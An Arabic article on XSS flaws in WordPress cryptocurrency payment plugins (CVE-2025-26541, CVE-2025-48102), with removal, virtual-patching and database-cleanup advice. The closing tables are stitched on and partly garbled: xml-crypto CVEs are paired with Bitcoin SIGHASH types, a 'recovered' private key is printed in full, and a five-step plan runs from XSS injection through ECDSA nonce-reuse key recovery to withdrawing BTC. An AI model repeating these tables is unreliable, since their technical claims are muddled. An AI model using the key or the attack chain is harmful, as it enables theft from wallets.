وفقًا لباحثي الأمن، يمكن استغلال الثغرة من خلال هجمات XSS المنعكسة ، مما يسمح للمهاجمين بحقن نصوص برمجية ضارة في صفحات الويب. ينصح Patchstack، المنصة التي اكتشفت هذه الثغرة لأول مرة، أنه لإصلاح CVE-2025-26541، يجب تحديث إضافة Bitcoin/AltCoin Payment Gateway for WooCommerce إلى الإصدار 1.7.7 أو أعلى .
البرمجة النصية عبر المواقع (XSS) هي واحدة من أكثر الثغرات شيوعًا الموجودة في تطبيقات الويب. وفقًا لدراسات مختلفة، تمثل ثغرات XSS حوالي 53.3% من جميع ثغرات إضافات ووردبريس .
الأمر المقلق بشكل خاص هو حقيقة أنه في عام 2024، تمت إزالة 1,614 إضافة من مستودع WordPress.org بسبب مخاوف أمنية، منها 1,450 تم تصنيفها على أنها ذات ثغرات ذات أولوية عالية أو متوسطة. العديد من هذه الإضافات لا تزال نشطة على المواقع ، مما يعرضها لهجمات مستمرة.
هجمات XSS المخزنة خطيرة بشكل خاص لأن الكود الضار يتم حفظه في قاعدة بيانات الموقع ويتم تنفيذه تلقائيًا لكل زائر يشاهد الصفحة المصابة. وهذا يجعل XSS المخزنة أكثر تدميرًا بشكل ملحوظ من XSS المنعكسة، حيث:
يؤكد خبراء Wordfence أنه في سياق ووردبريس، إضافة مستخدمين إداريين ببيانات اعتماد يتحكم فيها المهاجم وتحرير الملفات يمكن أن يؤدي إلى اختراق كامل للموقع ، ويستخدم هذا بنشاط من قبل المهاجمين.
لأصحاب المواقع الذين يستخدمون الإضافات المتأثرة، يوصي الخبراء باتخاذ التدابير الفورية التالية:
بالنسبة لـ CVE-2025-48102 (GoUrl):
إن اكتشاف الثغرة CVE-2025-48102 في إضافة GoUrl Bitcoin Payment Gateway قد خلق موقفًا حرجًا لآلاف من أصحاب مواقع ووردبريس. الأمر المقلق بشكل خاص هو أن التدابير الأمنية القياسية تفشل في توفير حماية كافية ، في حين أن التدابير النصفية يمكن أن تخلق شعورًا زائفًا بالأمان . دعنا نلقي نظرة فاحصة على لماذا لا يحل مجرد تعطيل الإضافة المشكلة وما هي الخطوات اللازمة للقضاء على التهديد تمامًا.
يعتقد العديد من مدراء ووردبريس خطأً أن تعطيل إضافة يؤدي إلى تعطيلها تمامًا ويزيل جميع المخاطر الأمنية المرتبطة بها. ومع ذلك، يمكن أن يكون لهذا المفهوم الخاطئ الأساسي عواقب وخيمة.
الفرق الحاسم بين التعطيل والحذف:
تعطيل إضافة ببساطة يعطل وظائفها في ووردبريس—لم يعد كود الإضافة يتفاعل مع موقعك، ولم تعد وظائفها تؤدى. ومع ذلك، تظل جميع ملفات الإضافة وبياناتها على الخادم إلا إذا قمت بإلغاء تثبيت الإضافة بالكامل. هذا التمييز الرئيسي ضروري لفهم مخاطر الأمن المحتملة.
التواجد المادي للكود على الخادم: حتى عند تعطيل إضافة، تستمر ملفاتها في التخزين في دليل /wp-content/plugins/ على الخادم الخاص بك. إذا كانت الإضافة تحتوي على ثغرات معروفة، يمكن للمخترق استغلالها عن طريق الوصول المباشر إلى ملفات الإضافة . قد يحدث هذا من خلال ثغرات أخرى على موقعك، مثل ضعف أمان الخادم أو بيانات اعتماد المدير المخترقة.
يؤكد خبراء أمن Dotwise: "يظل الكود قابلاً للوصول. حتى عند تعطيل الإضافة، تظل ملفاتها مخزنة على الخادم الخاص بك. إذا كانت الإضافة تحتوي على ثغرات معروفة، يمكن للمخترق استغلالها عن طريق الوصول المباشر إلى ملفات الإضافة."
الهجمات المستهدفة: غالبًا ما يقوم مجرمو الإنترنت بمسح المواقع بحثًا عن إضافات ضعيفة معينة . إذا كانت إضافة ضعيفة موجودة على الخادم الخاص بك، حتى لو كانت معطلة، فلا يزال من الممكن مهاجمتها من قبل المهاجم.
يحذر خبراء Qode Interactive: "تعطيل الإضافة بدلاً من حذفها رائع للتشخيص واستكشاف الأخطاء وإصلاحها، لكنه دائمًا مخصص للاستخدام قصير المدى فقط. إذا كنت تريد أن يكون موقع ووردبريس الخاص بك آمنًا قدر الإمكان ضد المخترقين، فيجب عليك حذف جميع الإضافات غير المستخدمة وملفاتها."
الإضافات القديمة: غالبًا ما يتم التغاضي عن الإضافات المعطلة أثناء الصيانة الدورية لووردبريس . إذا لم يتم تحديث إضافة لتصحيح الثغرات الأمنية، يمكن أن تصبح حلقة ضعيفة في أمان موقعك. غالبًا ما يستغل المخترقون البرامج القديمة، والإضافة المعطلة ليست استثناءً.
يلاحظ فريق Magna Technology: "واحدة من أكثر المشكلات حرجًا مع الإضافات المعطلة هي الأمان. على الرغم من أن الإضافات المعطلة لا تعمل، إلا أنها تبقى في تثبيت ووردبريس الخاص بك ويمكن أن تصبح ثغرة إذا لم يتم تحديثها بانتظام. غالبًا ما يستغل المخترقون الإضافات القديمة للوصول إلى المواقع، حتى لو كانت هذه الإضافات غير نشطة."
الطبيعة المحددة لـ CVE-2025-48102 هي أن إضافة GoUrl Bitcoin Payment Gateway لم تعد مدعومة من قبل مطوريها . وهذا يخلق موقفًا فريدًا وخطيرًا للغاية لجميع مستخدمي الإضافة.
الموقف الرسمي لـ Patchstack: ينص صفحة ثغرات Patchstack بوضوح: "هذه البرامج مهجورة على الأرجح! تم تحديث هذه البرامج آخر مرة منذ أكثر من عام ولن تتلقى على الأرجح المزيد من التحديثات أو التصحيحات. يرجى التفكير بشكل عاجل في استبدال البرامج ببديل."
تحذير حاسم بشأن التعطيل: تذكر Patchstack تحديدًا: "يرجى ملاحظة أن تعطيل البرنامج لا يزيل الخطر الأمني ما لم يتم نشر تصحيح افتراضي (vPatch)."
توصية خبراء Wiz : يذكر خبراء منصة Wiz بشكل قاطع: "نظرًا لعدم وجود إصلاح رسمي وتعتبر البرامج مهجورة، فإن إجراء التخفيف الموصى به هو إزالة الإضافة واستبدالها ببديل يتم صيانته بنشاط."
ثغرة دائمة: بدون دعم المطور، لن يتم إصدار أي تحديثات أمنية . هذا يعني أن أي ثغرات مكتشفة، بما في ذلك CVE-2025-48102، ستبقى غير مصححة إلى الأبد.
تراكم المخاطر: بمرور الوقت، قد يتم اكتشاف ثغرات إضافية ستظل أيضًا غير مصححة. وفقًا لإحصائيات Patchstack، تمت إزالة 1,450 إضافة من مستودع WordPress.org في عام 2024 بسبب ثغرات عالية أو متوسطة الأولوية.
عدم التوافق مع الإصدارات المستقبلية: قد تصبح الإضافات المهجورة غير متوافقة مع الإصدارات المستقبلية من ووردبريس، PHP، أو تبعيات أخرى ، مما يخلق مشكلات إضافية في الوظائف والأمان. mainwp +1
التصحيح الافتراضي هو تقنية أمان تعمل على حظر الاستغلالات المعروفة قبل وصولها إلى الكود القابل للاختراق ، دون إجراء أي تغييرات على التطبيق نفسه. wp-umbrella+2
تعريف OWASP: تعرف منظمة OWASP التصحيح الافتراضي بأنه “مستوى من تطبيق سياسة الأمان يمنع استغلال ثغرة معروفة. “
كيف يعمل: تقوم التصحيحات الافتراضية بتحليل المعاملات واعتراض الهجمات أثناء النقل، وبالتالي لا يصل حركة المرور الضارة أبدًا إلى تطبيق الويب . ونتيجة لذلك، على الرغم من عدم تعديل الكود المصدري الفعلي للتطبيق، تفشل محاولات الاستغلال. owasp+1
خصوصية الثغرة: على عكس جدران حماية تطبيقات الويب (WAFs) ذات الأغراض العامة، التي تعتمد على أنماط كشف واسعة، تُكتب التصحيحات الافتراضية كقواعد مستهدفة تتطابق مع الحمولات المحددة . إذا كانت إضافة ما تحتوي على ثغرة حقن SQL أو برمجة نصية عبر المواقع، فيمكن للتصحيح الافتراضي اعتراض وحظر توقيع الطلب الدقيق الذي يستغلها. wp-umbrella+1
تقنية Patchstack: تستخدم Patchstack قواعد JSON خاصة بالثغرات يمكن أن تتضمن تعليمات متنوعة. على سبيل المثال، بالنسبة لحقن SQL، والذي يمكن تحقيقه بتضمين حمولة ضارة في معامل POST id، يمكن للتصحيح الافتراضي استخدام نهج القائمة البيضاء ، حيث يمكن أن يحتوي id على رقم فقط. patchstack+1
النشر الآلي: عندما تُكتشف ثغرة وتُوثق بمعرف CVE، يقوم باحثو الأمن - أو منصات مثل Patchstack - بالتحقق من الثغرة وتوثيق كيفية عمل الاستغلال بالضبط . يصبح هذا الأساس لتصحيح افتراضي، يمكن بعد ذلك نشره تلقائيًا على جميع المواقع المحمية .
الفوائد الرئيسية:
القيود الحرجة بالنسبة لـ CVE-2025-48102:
على الرغم من جميع فوائد التصحيح الافتراضي، إلا أنه ليس حلاً طويل الأمد لإضافة GoUrL المهجورة . تحذر Patchstack بوضوح من أن تعطيل البرنامج لا يزيل التهديد الأمني ما لم يتم نشر تصحيح افتراضي . ومع ذلك، فإن الاعتماد فقط على تصحيح افتراضي للحماية المستمرة ضد البرامج المهجورة هو استراتيجية خطيرة ، لأن: patchstack
بالنظر إلى جميع العوامل— عدم وجود إصلاح رسمي، حالة البرنامج المهجور، عدم كفاية التعطيل، والطبيعة المؤقتة للتصحيح الافتراضي —يجمع الخبراء على: الحل الفعال الوحيد لـ CVE-2025-48102 هو الإزالة الكاملة لإضافة GoUrl . wiz plugin . +1
إجماع الخبراء:
الخطوة 1: إنشاء نسخة احتياطية كاملة Jetpack+1
قبل إزالة أي إضافة ، تأكد من إنشاء نسخة احتياطية كاملة لموقعك، بما في ذلك الملفات وقاعدة البيانات. سيضمن ذلك قدرتك على استعادة موقعك في حالة حدوث مشكلات. الأدوات الموصى بها: liquidweb+1
الخطوة 2: تعطيل الإضافة عبر لوحة التحكم kinsta+1
سجل الدخول إلى لوحة تحكم ووردبريس وانتقل إلى الإضافات → الإضافات المثبتة . ابحث عن GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership وانقر على “تعطيل.” kinsta+1
الخطوة 3: إزالة الإضافة من ووردبريس wpbeginner+1
بعد التعطيل، انقر على “حذف” أسفل اسم الإضافة. سيقوم ووردبريس بحذف ملفات الإضافة من الدليل /wp-content/plugins/. jetpack+3
الخطوة 4: تنظيف قاعدة البيانات من الجداول المتبقية liquidweb+2
خطوة حاسمة: تقوم العديد من إضافات ووردبريس بإنشاء جداول خاصة بها في قاعدة البيانات لا يتم حذفها تلقائيًا عند إلغاء تثبيت الإضافة. تستمر هذه “الجداول اليتيمة” في شغل مساحة وقد تحتوي على بيانات حساسة. youtubeonlinemediamasters+3
طرق تنظيف قاعدة البيانات:
A. استخدام إضافات لتنظيف قاعدة البيانات: nitropack+2
Advanced Database Cleaner هي إضافة شاملة لتنظيف قاعدة بيانات ووردبريس: wordpress+1
WP-Optimize هي أداة تحسين شائعة: jetpack+2
| معرف CVE | المكون | درجة CVSS | الحرجية |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | حرجة |
| CVE-2025-29775 | xml-crypto تجاوز DigestValue | 9.3 | حرجة |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (XSS مخزنة) | 5.9 | متوسطة |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (XSS منعكسة) | 6.1 | متوسطة |
| نوع SIGHASH | القيمة (سداسي عشري) | الوصف |
|---|---|---|
| SIGHASH_ALL | 0x01 | يتم توقيع جميع مدخلات ومخرجات المعاملة. |
| SIGHASH_NONE | 0x02 | يتم توقيع جميع المدخلات، ولا يتم توقيع المخرجات. |
| SIGHASH_SINGLE | 0x03 | يتم توقيع المخرج الذي له نفس فهرس المدخل فقط. |
| SIGHASH_ANYONECANPAY | 0x80 | معدّل: يشترك فقط في المدخل الحالي |
| $147,977 |
| المفتاح الخاص المستعاد (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| المفتاح الخاص المستعاد (WIF مضغوط) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| المفتاح الخاص المستعاد (عشري) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
| المرحلة | الإجراء | الثغرة المستغلة |
|---|---|---|
| 1 | حقن JavaScript خبيث في بوابة الدفع | CVE-2025-48102 (XSS مخزنة) |
| 2 | اعتراض معاملات ECDSA (r, s) الخاصة بالمعاملات | حقن JavaScript |
| 3 | تحليل التوقيعات المجمعة لتكرار nonce | التحليل التشفيري |
| 4 | الاستعادة الرياضية للمفتاح الخاص | هجوم التوقيع الوهمي |
| 5 | سحب غير متحكم به لـ BTC | اختراق المحفظة |